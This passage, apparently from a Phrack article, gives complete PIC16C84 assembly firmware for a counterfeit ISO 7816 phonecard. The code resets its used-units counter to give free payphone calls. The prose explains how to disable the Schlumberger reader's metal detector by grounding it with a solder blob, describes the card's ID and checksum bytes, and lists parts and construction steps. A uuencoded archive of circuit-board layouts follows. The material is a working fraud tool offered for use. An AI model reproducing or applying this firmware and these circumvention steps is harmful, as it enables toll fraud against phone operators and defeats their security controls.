PIC is a very fast and powerful micro‑controller it might be quite hard for them to come up with a solution to this problem. Let's have a look at the PIC Software! (Note that the current version of Microchip's PICSTART 16B package is unable to program the DATA EEPROM array in the 16C84 so if you are going to use that one, use the other version of the source code which you'll find in the UUEncoded part!).

<Start of TELECARD.ASM>.

========================================

TITLE "ISO 7816 Synchronous Memory Card Emulator"

LIST P=PIC16C84, R=HEX

INCLUDE "PICREG.EQU"

; PIC16C84 I/O Pin Assignment List

CRD_CLK equ 0 ; RB0 + RA4 = Card Clock

CRD_DTA equ 0 ; RA0 = Card Data Output

CRD_RST equ 1 ; RB1 = Card Reset, Low‑Active CRD_WE equ 7 ; RB7 = Card Write‑Enable, Hi‑Active

; PIC16C84 RAM Register Assignments

CRD_ID equ 0x00c ; Smartcard ID, 12 bytes

FUSCNT equ 0x018 ; Fused units counter

BITCNT equ 0x019 ; Bitcounter

LOOPCNT equ 0x01a ; Loop Counter

EE_FLAG equ 0x01b ; EEPROM Write Flag

TEMP1 equ 0x01c ; Temporary Storage #1

TEMP2 equ 0x01d ; Temporary Storage #2

TEMP3 equ 0x01e ; Temporary Storage #3

TEMP4 equ 0x01f ; Temporary Storage #4

TEMP_W equ 0x02e ; Temporary W Save Address

TEMP_S equ 0x02f ; Temporary STATUS Save Address

org 0x2000 ; Chip ID Data

dw 042,042,042,042

org 0x2007 ; Configuration Fuses

dw B'00000001'

org 0x2100 ; Internal Data EEPROM Memory (Card ID!!!) db 0x081,0x042,0x000,0x011,0x022,0x033

db 0x044,0x055,0x066,0x077,0x011,0x084

db 0x002 ; Default used up credits value

org PIC84 ; Reset‑vector

goto INIT ; Jump to initialization routine

org INTVEC ; Interrupt‑vector

push ; Save registers

call INTMAIN ; Call main interrupt routine

pop ; Restore registers

retfie ; return from interrupt & clear flag

org 0x010 ; Start address for init rout.

INIT bsf STATUS,RP0 ; Access register bank 1

clrwdt ; Clear watchdog timer

movlw B'11101000' ; OPTION reg. settings

movwf OPTION ; Store in OPTION register

movlw B'11111110' ; Set PORT A Tristate Latches

movwf TRISA ; Store in PORT A tristate register movlw B'11111111' ; Set PORT B Tristate Latches

movwf TRISB ; Store in PORT B tristate register

bcf STATUS,RP0 ; Access register bank 0

clrf RTCC ; Clear RTCC

clrf PORTA ; Clear PORTA

clrf PORTB ; Clear PORTB

movlw 0d ; 13 bytes to copy

movwf LOOPCNT ; Store in LOOPCNT

movlw 0c ; Start storing at $0c in RAM

movwf FSR ; Store in FSR

clrf EEADR ; Start at EEPROM Address 0

EECOPY

bsf STATUS,RP0 ; Access register bank 1

bsf EECON1,RD ; Set EECON1 Read Data Flag

bcf STATUS,RP0 ; Access register bank 0

movfw EEDATA ; Read one byte of EEPROM Data

movwf INDIR ; Store in RAM pointed at by FSR

incf FSR ; Increase FSR pointer

incf EEADR ; Increase EEPROM Address Pointer decfsz LOOPCNT,1 ; Decrease LOOPCNT until it's 0

goto EECOPY ; Go and get some more bytes!

bsf STATUS,RP0 ; Access register bank 1

bcf EECON1,EEIF ; Clear EEPROM Write Int. Flag

bcf EECON1,WREN ; EEPROM Write Disable

bcf STATUS,RP0 ; Access register bank 0

movlw B'10010000' ; Enable INT Interrupt

movwf INTCON ; Store in INTCON

MAIN bsf STATUS,RP0 ; Access register bank 1

btfsc EECON1,WR ; Check if EEPROM Write Flag Set

goto MAIN ; Skip if EEPROM Write is Completed

bcf EECON1,EEIF ; Reset Write Completion Flag

bcf EECON1,WREN ; EEPROM Write Disable

bcf STATUS,RP0 ; Access register bank 0

btfss EE_FLAG,LSB ; Check for EEPROM Write Flag

goto MAIN ; If not set, jump back and wait some more clrf EE_FLAG ; Clear EEPROM Write Flag

movlw 0c ; Units is stored in byte $0c

movwf EEADR ; Store in EEPROM Address Counter

movfw FUSCNT ; Get fused units counter

movwf EEDATA ; Store in EEDATA

bsf STATUS,RP0 ; Access register bank 1

bsf EECON1,WREN ; EEPROM Write Enable

bcf INTCON,GIE ; Disable all interrupts

movlw 055 ; Magic Number #1 for EEPROM Write movwf EECON2 ; Store in EECON2

movlw 0aa ; Magic Number #2 for EEPROM Write movwf EECON2 ; Store in EECON2

bsf EECON1,WR ; Execute EEPROM Write

bsf INTCON,GIE ; Enable all interrupts again!

bcf STATUS,RP0 ; Access register bank 0

goto MAIN ; Program main loop!

INTMAIN btfsc INTCON,INTF ; Check for INT Interrupt

goto INTMAIN2 ; If set, jump to INTMAIN2

movlw B'00010000' ; Enable INT Interrupt

movwf INTCON ; Store in INTCON

return

INTMAIN2

bcf STATUS,RP0 ; Access register bank 0

bsf PORTA,CRD_DTA ; Set Data Output High

btfsc PORTB,CRD_RST ; Check if reset is low

goto NO_RST ; If not, skip reset sequence

movfw RTCC ; Get RTCC Value

movwf TEMP4 ; Store in TEMP4

clrf RTCC ; Clear RTCC

movlw 055 ; Subtract $55 from TEMP4

subwf TEMP4,0 ; to check for card reset....

bnz NO_RST2 ; If not zero, jump to NO_RST

movlw 02 ; Unused one has $02 in FUSCNT

movwf FUSCNT ; Store full value in FUSCNT

bsf EE_FLAG,LSB ; Set EEPROM Write Flag

NO_RST2 bcf INTCON,INTF ; Clear INT Interrupt Flag return ; Mission Accomplished, return to sender

NO_RST movfw RTCC ; Get RTCC Value

movwf BITCNT ; Copy it to BITCNT

movwf TEMP1 ; Copy it to TEMP1

movwf TEMP2 ; Copy it to TEMP2

movlw 060 ; Load W with $60

subwf TEMP1,0 ; Subtract $60 from TEMP1

bz CREDIT ; If it is equal to $60

bc CREDIT ; or greater, then skip to units area rrf TEMP2 ; Rotate TEMP2 one step right

rrf TEMP2 ; Rotate TEMP2 one step right

rrf TEMP2 ; Rotate TEMP2 one step right

movlw 0f ; Load W with $f

andwf TEMP2,1 ; And TEMP2 with W register

movfw TEMP2 ; Load W with TEMP2

addlw 0c ; Add W with $0c

movwf FSR ; Store data address in FSR

movfw INDIR ; Get data byte pointed at by FSR

movwf TEMP3 ; Store it in TEMP3

movlw 07 ; Load W with $07

andwf TEMP1,1 ; And TEMP1 with $07

bz NO_ROT ; If result is zero, skip shift loop ROTLOOP rlf TEMP3 ; Shift TEMP3 one step left decfsz TEMP1,1 ; Decrement TEMP1 until zero

goto ROTLOOP ; If not zero, repeat until it is! NO_ROT btfss TEMP3,MSB ; Check if MSB of TEMP3 is set bcf PORTA,CRD_DTA ; Clear Data Output

bcf INTCON,INTF ; Clear INT Interrupt Flag

return ; Mission Accomplished, return to sender

CREDIT btfss PORTB,CRD_WE ; Check if Card Write Enable is High goto NO_WRT ; Abort write operation if not...

btfss PORTB,CRD_RST ; Check if Card Reset is High

goto NO_WRT ; Abort write operation if not...

incf FUSCNT ; Increase used‑up units counter

bsf EE_FLAG,LSB ; Set EEPROM Write‑Flag

bcf INTCON,INTF ; Clear INT Interrupt Flag

return ; Mission Accomplished, return to sender

NO_WRT movlw 060 ; Load W with $60

subwf BITCNT,1 ; Subtract $60 from BITCNT

movfw FUSCNT ; Load W with FUSCNT

subwf BITCNT,1 ; Subtract FUSCNT from BITCNT

bnc FUSED ; If result is negative, unit is fused bcf PORTA,CRD_DTA ; Clear Data Output

FUSED bcf INTCON,INTF ; Clear INT Interrupt Flag return ; Mission Accomplished, return to sender

END

========================================

<End of TELECARD.ASM>.

<Start of PICREG.EQU>.

========================================

; PIC16Cxx Micro‑controller Include File

PIC54 equ 0x1ff ; PIC16C54 Reset Vector

PIC55 equ 0x1ff ; PIC16C55 Reset Vector

PIC56 equ 0x3ff ; PIC16C56 Reset Vector

PIC57 equ 0x7ff ; PIC16C57 Reset Vector

PIC71 equ 0x000 ; PIC16C71 Reset Vector

PIC84 equ 0x000 ; PIC16C84 Reset Vector

INTVEC equ 0x004 ; PIC16C71/84 Interrupt Vector

INDIR equ 0x000 ; Indirect File Reg Address Register RTCC equ 0x001 ; Real Time Clock Counter

PCL equ 0x002 ; Program Counter Low Byte

STATUS equ 0x003 ; Status Register

FSR equ 0x004 ; File Select Register

PORTA equ 0x005 ; Port A I/O Register

PORTB equ 0x006 ; Port B I/O Register

PORTC equ 0x007 ; Port C I/O Register

ADCON0 equ 0x008 ; PIC16C71 A/D Control Reg 0 ADRES equ 0x009 ; PIC16C71 A/D Converter Result Register EEDATA equ 0x008 ; PIC16C84 EEPROM Data Register EEADR equ 0x009 ; PIC16C84 EEPROM Address Register PCLATH equ 0x00a ; Program Counter High Bits INTCON equ 0x00b ; Interrupt Control Register TRISA equ 0x005 ; Port A I/O Direction Register TRISB equ 0x006 ; Port B I/O Direction Register TRISC equ 0x007 ; Port C I/O Direction Register ADCON1 equ 0x008 ; PIC16C71 A/D Control Reg 1 EECON1 equ 0x008 ; PIC16C84 EEPROM Control Reg. 1 EECON2 equ 0x009 ; PIC16C84 EEPROM Control Reg. 2 OPTION equ 0x001 ; Option Register

MSB equ 0x007 ; Most‑Significant Bit

LSB equ 0x000 ; Least‑Significant Bit

TRUE equ 1

YES equ 1

FALSE equ 0

NO equ 0

; Status Register (f03) Bits

CARRY equ 0x000 ; Carry Bit

C equ 0x000 ; Carry Bit

DCARRY equ 0x001 ; Digit Carry Bit

DC equ 0x001 ; Digit Carry Bit

Z_BIT equ 0x002 ; Zero Bit

Z equ 0x002 ; Zero Bit

P_DOWN equ 0x003 ; Power Down Bit

PD equ 0x003 ; Power Down Bit

T_OUT equ 0x004 ; Watchdog Time‑Out Bit

TO equ 0x004 ; Watchdog Time‑Out Bit

RP0 equ 0x005 ; Register Page Select 0

RP1 equ 0x006 ; Register Page Select 1

IRP equ 0x007 ; Indirect Addressing Reg. Page Sel.

; INTCON Register (f0b) Bits

RBIF equ 0x000 ; RB Port change interrupt flag INTF equ 0x001 ; INT Interrupt Flag

RTIF equ 0x002 ; RTCC Overflow Interrupt Flag RBIE equ 0x003 ; RB Port Ch. Interrupt Enable INTE equ 0x004 ; INT Interrupt Enable

RTIE equ 0x005 ; RTCC Overflow Int. Enable

ADIE equ 0x006 ; PIC16C71 A/D Int. Enable

EEIE equ 0x006 ; PIC16C84 EEPROM Write Int. Enable GIE equ 0x007 ; Global Interrupt Enable

; OPTION Register (f81) Bits

PS0 equ 0x000 ; Prescaler Bit 0

PS1 equ 0x001 ; Prescaler Bit 1

PS2 equ 0x002 ; Prescaler Bit 2

PSA equ 0x003 ; Prescaler Assignment Bit

RTE equ 0x004 ; RTCC Signal Edge Select

RTS equ 0x005 ; RTCC Signal Source Select INTEDG equ 0x006 ; Interrupt Edge Select

RBPU equ 0x007 ; Port B Pull‑up Enable

; ADCON0 Register (f08) Bits

ADON equ 0x000 ; A/D Converter Power Switch

ADIF equ 0x001 ; A/D Conversion Interrupt Flag ADGO equ 0x002 ; A/D Conversion Start Flag

CHS0 equ 0x003 ; A/D Converter Channel Select 0 CHS1 equ 0x004 ; A/D Converter Channel Select 1 ADCS0 equ 0x006 ; A/D Conversion Clock Select 0 ADCS1 equ 0x007 ; A/D Conversion Clock Select 0

; ADCON1 Register (f88) Bits

PCFG0 equ 0x000 ; RA0‑RA3 Configuration Bit 0 PCFG1 equ 0x001 ; RA0‑RA3 Configuration Bit 0

; EECON1 Register (f88) Bits

RD equ 0x000 ; PIC16C84 EEPROM Read Data Flag WR equ 0x001 ; PIC16C84 EEPROM Write Data Flag WREN equ 0x002 ; PIC16C84 EEPROM Write Enable Flag WRERR equ 0x003 ; PIC16C84 EEPROM Write Error Flag EEIF equ 0x004 ; PIC16C84 EEPROM Interrupt Flag

; Some useful macros...

PUSH macro

movwf TEMP_W

swapf STATUS,W

movwf TEMP_S

endm

POP macro

swapf TEMP_S,W

movwf STATUS

swapf TEMP_W

swapf TEMP_W,W

endm

END

========================================

<End of PICREG.EQU>.

The Security System:

~~~~~~~~~~~~~~~~~~~~

The security of the Schlumberger card system depends strongly on two things: the metal detector in the card reader which senses if there is any metal on the card where there shouldn't be any metal. Circuit traces on a home built card is definitively made of metal. So, we have to figure out a way of getting around this problem... Well, that isn't really too hard! They made one really big mistake: If the metal detector is grounded, it doesn't work!! If you look at the printout of my layouts for this card you'll find one big area of the board that is rectangle shaped. In this area you should make a big blob of solder that is between 2‑3 millimeters high (approximately!). When the card slides into the phone, the blob should be touching the metal detector and since the blob is connected to ground the detector is also being grounded. The phone also counts the number of times the metal detector gets triggered by foreign objects in the card reader (Meaning that the phone companies security staff can see if someone's attempting to use a fake card that doesn't have this counter‑measure on it!) and this is of course included in the daily service report the phone sends to the central computer.

The second security lies in the cards first 12 bytes, it's not just what it appears to be: a serial number, it's more than that. Part of the first byte is a checksum of the number of 1's in the 11 bytes following it. Then byte 2 is always $83, identifying the card as an electronic phonecard. Byte 3 and 4 is the number of units on the card: The first nibble of byte 3 is always $1 and then in the remaining three nibbles the number of units is stored in BCD code, for example $11,$22 means 120 units (Two units is always fused at the factory as a test, see the text by Stephane Bausson!) Then we have 4 bytes of card serial number data, 2 bytes of card checksum (calculated with a 16 bit key stored in the payphone's ROM), 1 byte that is always $11, and then at last, byte 12 which is the country identifier.

The Parts Needed:

~~~~~~~~~~~~~~~~~

01 * PIC16C84, 4 MHz version, Surface Mounted (SOIC‑18 Package) 01 * 4 MHz Ceramic Resonator, Surface Mounted

02 * 22 pF Capacitors, Surface Mounted (Size 1206).

01 * 0.8mm thick single sided circuit board with P20 photoresist

The Construction:

~~~~~~~~~~~~~~~~~

Since this project is obviously not intended for the novice in electronics I will not go into the basic details of soldering/etching circuit boards. If you do not know much of this, ask a friend who does for help. If you want to reach me for help, write to Phrack and ask them to forward the letter to me as I wish to remain anonymous ‑ This project will probably upset a lot of phone companies and last but not least the guys at Schlumberger Tech.

The UUEncoded Part:

~~~~~~~~~~~~~~~~~~~

In this part of the phile you will find circuit board layouts for Tango PCB as well as HP LaserJet binary files which will output the layout when printed from DOS with the PRINT command.

You will also find another version of the source code to use if your PIC programmer can't handle the programming of the 64 byte Data EEPROM array.

<UUEncoded Part Begins Here>.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

section 1 of uuencode 5.22 of file telecard.zip by R.E.M.

begin 644 telecard.zip M4$L#!!0````(``Q2,!V^G@!LQ@@``.P@```,````5$5,14‑21#$N05‑‑Q5G= M<YLZ%G].9O(_G/1VM@_K9L%)D^YD^D`P2;GKV%[LW.P^=620;6TQ4!!QT[]^ M]8%``NQMLYU;SV0RH//3^=#Y%"?'1PM_,?8`X)4_G\+5>_L2YL])N,G3)"T+

MN,?;‑'\&%^41>‑LR1C3‑7S'4V)\O&`AF'V:^:U^Z[R\&$'SXZ/V+K?D3=_PP M\N`56PJ\NS/OGP\,<G)\#8H6_+]‑8482<(J"K),M3BB,24$YE1N,/KGC?X#Z MX2^E^&]5S]<0W%CP5PB<"_@@!7/C‑/PLD:.%<PCI6`HS0A3!M*19224RD`H9 M2%OC:2MD@`M,!S!.=V^=D)(G+/&/'G3P5QK^2N$?<T+Q6R]!RQ@/X".I=S$L M%#CWC‑.:&07GFID*92)_U&5G?;6L4+";;U%.0\[‑'PW`'L+RF6*&O7V8NY‑% M+])^+Y"W98$C*!‑""PC3,F'L3XYO_,5>V‑\%[(;0FGH\G<YT<IT:">IQFF;@ M*GK/^W0[=NYZZ9>"WO‑FP?1>6@YN8[0^.5YX]S,;^D62‑EC@;9;F*'^&.67_ MUQA^LR5NN`<7[<,‑)>Y\#P[OPYU+W,4>W*J‑6U2X"XG[]‑B+&[;Y/<(</6%P MHBC'15%AY_W8+D]G\3!O;7!R?)3FZPHSM"RKV>L:W`W)P!^)"&*$T4XN6!?# M@?;7W>3*V"1‑5F1=YHB2‑!%.5VA[W;RQY,]^8^PS\WEHZ/N(8'S[A$‑F<D:X M3FG*%_R)K[DK)_R]W&;`%DE"*$$Q^28YYVE)28(‑+OYD\8?GZF"?.VJ9:8RR MLMA`S^]:6C*O(I<K%:(XKK:]=_R);@2^LD4D85))!HT\1UF:03\'IC,3PF22 M8[HBN(^:K91Y`JL\W39L_@)AC%$.*Q%+QDE9MF7J0U%.`4G7@%6:"Q,*0<]. MCI6AE\5*T$MW&@0S2^&=,.1`)2PL4?(9;&Z7.‑]%M$]D5\BV0S3<1.D:*‑GR

M‑'&T39_BG?`.V[:9F);UI@),9PM_.N$\SJ#`E%EP74C`CHM5+1M*<0,RPS=( M(5V;"__57.:8PFP:+,"!1<[($<4PYD)BG=DB\.=.RX(5LPI,%?@05[O#]>9_ M<;TYP/6FE^LR_*%3L^2I"4RP<+40:4Z‑O]?(.'/3&I),O&_1F?(W=#>:?41] M,^BJVB#KUH.H6U5E`5(`HO#:"C5#>9XS"OH‑5>U494&8I22IS/3CSJT@GN=. M)_8@&#7LV'G*MQ!@5#4BLJ:]Y#R87JN=8#1R=$M?R]TKG59]5;VV2;LKT&QB M+AT\"‑5E\"P;IMFSQJ#=$6@,JJ6#.\L4Q),>2=;5D7)LX‑SK6LSU<S6UF`>: MK_6Y@,AQM.T"%F].W.GLWTKURM0,KR5VUPE&_DB3Q)^,_#T^QMNZ3#A6Q/DM MGRO92"*/OJN$GX0Y1@462UGMDPK05:8&[/7G"(>KXEM]+(.FS1WA"JM.K$PH

MB8'0‑\(8=7U55FFXWJ6`D@C6F!U4NL6PY0H+?SA]802%1@1YGG]K9`:C)_03 M>M8.H@KX&'@3,U5(R(@4O`‑_<=2I=&V)2E07"=G7\V)?=PV&9RS</95(+O%B MK+J$EQB‑KHI0UUWKVG#X&<BJVTOSC*0=K=&C2!$_DZR#)#S‑;K,84QP=/"W1 MH56@"B%:OC_OL+A1"L%#S!F#<54IE5%X3],S81RPB+^")*4@YL#_\,9RB=@^ MW/]WB&@!8"0=<\CI=>.*\?Y,*.L;L[WH`"/N‑SS&7ESC7+T6B.36K05W[/@. MUX]N[='X\:6?4D/W^8:,.,TU9"0‑[GRO3FO2?8`G;‑4#%[JAW[UK&?H>K4D( MDW*[9!+]9G=\Q‑"><=‑&2D‑[OJ0S0N@@H^'_RZACLZ9/^HK#DN+VY@K0‑5J5 MR0R;`5HCDIR^+`[WQ],L3]<YVLI9*$[3[)3G034PJ:16B<C^W7;BMY5OFSE0 M;#$T0K<)6T:D*(RD;OWLI'XDIS!‑J^$+<UEU7*)_'C0W7K*OU"ZUX"‑9;[2* M(!KI07/1I56$7&1H4C#+[S3;3:;&G5B=]@90\((@407^4N(DQ%H&Z4X&/(.( MMW^@N‑0]NGTYHEE.+'W_O+$_DN?EDN8HI/":+8DI6&U=E,M&BH'5A]D1NA%` MWM/6SB94Y[9‑OD%CJ6&W0'S#>=JXFB33A=4OHJK\+A)MFF#8H`)>,XJZ"?^. MAGU5QC$\<2,;L"8IM`N@'$8Z%4@IU,JH>N0)X^L!H8I7==_0^5W#/2D*7OJ= M,.1]`"DV.!JH^PEFGP(G$:\KBC_`"URJ?57)KYJR9R"4<Y"++0?4;Q$‑:K'8 M(M9/K$‑L9/I+JZ7^.$41/%8N=6FU'‑#N=T!&V#BM*(K2Y<`‑O)%^QR5\CH@P MQE]*%'.9))=EN`^1YK#.,6+G‑P"ZP8D,;`:4A1ZQ‑7Z@,@![U`]2<:$@%[C/ M%A1GD)/UAOX"7&WYE0;J6G[%2%$2‑2<ZL#52)XFJ_07U8^N.1GAC5S"=@7($ M%$5[FC@G:J0Q^K9]$VS$T[JZ@:O'625.=]KDP<$QHC7LFS9UC]8OM>O\2U4* M/M<‑J]W@]AC6NFI9UNZUK*V3*V_F`3]M>S‑3MXR%1\L\*KRSV)`5%3W"R3&# M\#D5\KCQF)8Z@EJ^KQTFQBNJ3<%=4<44+#Y*28'E$,R%T,JC8KXGZ><XP\SD M:GYF6IS*O,;55!.)$&QP7]_<:469OTQ7E>B\X9<5)]Q7_F5"‑KYJM1OB/RU] MJTRCU&QZ#_F13%.S^2*FFBRF:]6Z:(W(8V`XA[‑,<PH[`4LS7'U%(,+^9V=G MVLQWH.UI/N;]))[U'4ZG.M=7,KRZORVSSB3U_17Z;6MP_@6E61CF)75.EM\F MU/KJG%ZB]PRD.H.ZQ_D.'M5.)IME(O,S6_2T3ZKM#)3@‑>)?:0?BZ/@;,1+_ M:$@J+K_F](Y.CN5=)?!J(LPU<\?MCR_RJ[&0^_3T5#*61_W5>F^;S_P[G_YL M6>:SW:(?MNC/SUO[79C/[]Z9SY>7YO/5U6%^[R_$URUO,CHY_B]02P,$%``` M``@`2E(P'8XZ.`_+"```^!\```P```!414Q%0U)$,BY!4TW%65MSV[@5?K9G M_!^.LYY‑.Z6]I.S8[GCR0$NTPU:W4O*Z?<I`)"AA0Q$*"5IQ?GUQ(4B0E‑S$ MS6PTCC0ASH=S\.'<`!X='LS]^=`#@#?^;`)7U\XES)[3<)71E!8YC/":9L_0 M1UD$WKI($*/9&XX:^K,Y!\'T_=3O.Y?]ZPL+@O<?O'_S,7_<'SX,/'C#AP+O

M_LS[UP.''!W>@)8%_[<)3$D*;IZ39;K&*8,AR9F0Z@>#C_WA/T%_\.="_MKE M_V\@N+7A;Q"X%_!>&=9/:/A)(0=S]R6D:VO,`#$$DX)M"J:0@5I0`^D8.AVM#'".F05#NCUU0T:>L,(_>M#!7QGX*XU_S`C#IUZ*%@FVX`.I9FDP%+@CKFG)

M2<&905.N*?('777V%]L.I;K9&F4L%‑K\@05.#Q;/#'/LW<.L/Y[O1#K7$GE7 MY#B"(B4LAY`6*5=_='CKS_?"_BYAMX15TL/)9&J*F])(2@\IW4!?RWO>Q[NA M>[]3?B'E/6\:3$:*.;A+T/+H<.Z‑I@[L‑DEQ,,?K#<U0]@PSQG^7&'YQ%*ZW M!Q?MP_44[GP/#N_#G2O<Q1Y<O`]WH7`?'W?B>FU]CS!#3QC<*,IPGI?8V6YL M1^?<G3_,6A,<'1[0;%EB>K9MUW/=0']%‑N`/9`1QP6BK!NR+GF7\ZTYRU9B$ MIC%9%AEBA*;2Z7)CKMNWMOHX;]OS.$UC?.%"*4I4/)=^4B:MO_15`,BQX[^* M^1>@B;AV+/XM;/W"]8AO1S[IR2?GYTWIBPOQ]‑T[\7UY*;ZOKFK,]453VC8= M[`;N.*DK%?LJNAYD=$G_;RQOZHO(‑Z$RUYP^X9#1C`LN*:‑BP!_[1C0*P7\4 MZPWP0<*G)B@A7Q6Q&2T827%#BS^>_^[U.R06&T/1IN`6[_C<*$?)RL0D]BQ$ M25)..W+]L;G'8F2‑2,JM4@IJ>PXV=`.[‑?`U<R.:2C+,8H)W2?.1(DLASNBZ M5O,KA`E&&<0R530<R';LYGH8RA@@Y?D0TTQ2*`T].SK41"_R6,JK:+&"J:WQ M;A@*H#86%BC]!([@)<FV$=ME<E_:MD4L7$5T"8RL118\6‑.G9"N=WW$<;J9M MORT!D^G<GXR%CC/(,>,,+G,%V`JSRN'&H@2!G/@:*:UK:Q&?2LL,,YA.@CFX M,,^X.&(8AL)(;"J;!_[,;3%8*BO!3(‑?TNITM‑[^+ZVW+VB]W:EU$7[7KMEJ MUR0FF/>‑$*EW33PWQ(3R)AM*3#YOR37MK^5N#7[LR%0JY)QS5;M%<(=T\VR0 MTJZS!BGED#ESV)Y9>;Z(‑9(N`3$XX3(<&[@C0\G=+.C@2B5\R%BBY[D#4[0* M+:;3<EE>!,^>UY],_P,@‑NG[0TM#Q"QCQPH&M4K,RJ<08%1V>:IA>(TW<!+B MK50T<,U]OE&STQ3+S0$:ZS6615&SYX\'?IN4DCW1X&VH2%F1X&CQ7/))4F5G MEW@_#3.,<BR'%#0S`‑T‑J`"M#9A6V`B'<?ZU<B6K;G@'N,1J+RM21A(@[*W< MP*H4Z9VLM=Y30&D$2[X5.5UC6(L%2Q\^?N5VAXWM]CS_KA%$C>[03]E9>\=+

MX&/@C4M@`S(@N>C%7^TB.K/9,FE7^51U^*(N5@6VX1GS_IZDK89$W=(%]36D ML3@/S;4;_1L./P&)NUVU"!]C:QOE7)GXB6PZ2"):F?4FP0Q'+^Z6;&9*4(F0 MS=^?MUF"E%SJD"<.:U@6%4V**/\[SAHO,.+'D%(&\D3XA^C!%HC/(_Q_BX@1

M`(U$V3SN['3C4O'^[*UZ2,Z];)8BX3<R%9W8H>%ENY)RZ66MG%"=QJJDUSXK MWL`]W[YXU_G0T‑=.E(8^,?1#$OX^WU`19[B&BB3KWO>JM*;<!T1KJMO%W"3Z MW;L6T2.T)"&,B_6"6_2+T_&1QNJY‑J/W;ZQ>#)F*$'I14>__5=3AK)+UON"P M8+@]N09T22LS68,S0$M$TN/7Q>'^>)IF=)FAM3HV))1NCD4>U&<+G=1*$_G/ M72=^6_FV/C+)*7J‑T*W#E@MIB492MW]T4C]0!Q9C5;U7YK)RNV2K:=5W7ZH) M,JZWX`‑9KHR*('M.J[[R,BI")C,TR3GS6X.[\:1Q.U:E/0MR41`4*L>?"YR& MV,@@W29:9!#Y]'>4%*9'MZ])#.;DT+>WYOLC>58L6(9"!B=\2!X8]=1YL:BM

ML&P#([KNRK7DA9I<[1G_"$K3KU`3U.O6A:\XH[6'*3'31O.BH$SK,K^*SG*% M<CCA$J+3EJG8[,H[N5G1%1=)`D^"VP:LS@7MNJ<:YD[AT0MJ)5(SX"3G9ASH MFE6>R#N?&QB1/!<5WPU#4?Y)OL*1I4_PG)\<IY$H)UH_P"L\J7U7*>Z:‑L]` MF‑"@!EM^9UXC‑J3E8$NX>;73$FXD^$N[M?PA11$\PI:P%9Q<VBV_<QI^5_LJ MGZ;R55D+E<M!/_`&YBV0]#DBHQ=_+E`B;%):%N$^!,U@F6'$]\\"ML*IBF<. M5/4=\3&QH2KN=BP_H/+(K0:$S^8,;R`CRQ7[";B*^=@`=9F/N2A*HWI'+<<0 M==.HG%]*/[9N,:0W=@TS%6A'0%&TIW=SH]J:1KNV[[`=B6RN[ZBJD[<VIWO(

M%,$A,+(CW'7(‑#W:O‑6NTB[3F??<)‑:XPMU!K'W58M;9R:QCBFMO%@$_:7LS M7VZ12(]6>51Z9[XB,9.MP=$AAXCC*61)[3&MY4AI];QRF`3'S#C\=DV5AU_Y M5DH9K,Z^P@BC*FKE>Y)^AC>84ZZ/S7P5QRJOB67J@X@TS!I5=UM&+18/:5R: M+OI\>3;3";E;]55";KS6:O?!?UKZUIE&+[‑N.=1;,F.9]2LQW5OQM98=B]%_ M/`8‑YW`7‑&.PE3"ZP>5K!"+Y+TMS1W6GVZG?YOT@G=753:<Z5S<QHKJ?%IO. M`>K;*_1IZ[S\$TJS).8U=4Z5WSK4=M4YLT3O.8>:"JH>YQMTE#,UU2Q2E9_Y

MH&>\4VUGH!0OD7A‑:\FM$T_D2?A[0U)K^3F[=\#_O/'@Z/"_4$L#!!0````( M`)M$+AW$&QM@"@4``#P7```,````5$5,14‑!4D0N0C`QE9A+C]LV$,?O`?(= M"‑W;D#‑\"3T4BM9)W.QZ#5N[27LI@F#1YM`'VGY^H"3%&;THRX8!P?)_R!^'

MG*&'_*'[\N=O?WUW_OK[RQ]?_OOV53RK[T&^B//+/]]>_A7[_>M777‑X__CK

MN?VP>VBZ?2M4^#2O7YT_[':=D.&CE*U1>+!>V/#[_I>=0.6,4";\;)TTPIC: M#;^]?O73TZ$56DLI(#SRNX'X;OE=QW>#PSO&=S6\FZD]`NO'YM0)[>)[A&BL MP\.%T00YCR8‑/#UE\BBT:KKN)*KNY^.N$K6H/G?‑?=7WHKWL+9&L[G;G_?M# MTSV>>EN5+8V96W[^,5E4/25^6$F`2YJ>:<?](6‑4')7F;^S*I)‑#\Q!<45)4 MC^<6X@@A‑U"V'V+H,'@26E=‑D(V/<K!1X%G/0&0@7@E4!,0B\",!<0P\[=JN M(:8D_](JYG7='>[R`H=5#6VB$3J)`FR=S)W0$(90;Z_P<=\JVWI=]11,,W‑A ME9^"2QA#`7%N^;2ZR@‑DKJ?)E>1#^@8IV@1<GMQ3$Q>S;QDFS\%\;N/41P6\ MCQV/UE(Q3MV`PXI:%G%Q‑*J(`\;!#3C]YM2U;47‑B\PX)"@RD9E(3+7%?&CO MPQ+GID6>CG*1IYFGB>>V>.\/=Q6U+.),E(LXPSAS_92^E6_VAZZBUD6DC7(1 M:1EI;T#&(+3K.!?E(LXQSMV`@XI:%G$^[T9+G&><OP$7X\^OX^HH%W$I;6M* M^!3B6N!62BA*^‑B?DGJ1\3ZG?'J,=V_%/'4#3U+&K_%<SOD%#Y@']%!;O/QO M`9>`‑B?\`H@,1‑YHK@`"Y?L:T.2,7P`U`S4!W1;P.>UG^A)/YY1?\`SSS/4K M^‑91MJ_Q,.?[@F>99V_@64KW‑1[DA%_P'//<#3Q#^;[&H_ICP?/,\S?P‑"7\

M&D_FE!_S<CDS5"JZ)OBRG*'Z5:"*]:I'%2P#W,!5]6K;'"N!QL22*CQL'*$B MJ^?F_JDW`Q!_OR/#.*3:7BAY8IKTIG%T‑GO=G%J!UKM<3((12J‑P.H[J?G_8 MA2;LB\%L)D>JA:Q:LANKL84,G>:VS@SUTJAC&)IN%*‑‑]&%2^JI9Z8LX+7U5 MIO'PTI+10"_3WD::)YK6<US4^T(<\G*6(P$I$HSD2‑"W1H*Y‑A)@,Q(4F>IB M)."E2$".!"Q$`G(DS‑78`C@2<!D)R)&`‑T4"7HX$+$<"_]700*^,!‑R(!%R+ M!%/SU(2OHQ,UNJLB87]^=#[^=::.E)67C[%/4`D+_8%J9LD'')NJ7*]F.I‑& M1HM.V*ATL$U#A'3$M/0‑MA;TTZF+SD&V7QXSH^_.1WE^KNUYP#RXAM?>?R0> M%'F.>%#F2>;):WBG,_LGBSQ//%GD(?N'?26VP;MKNB8#L>P@9""N.&C909L*

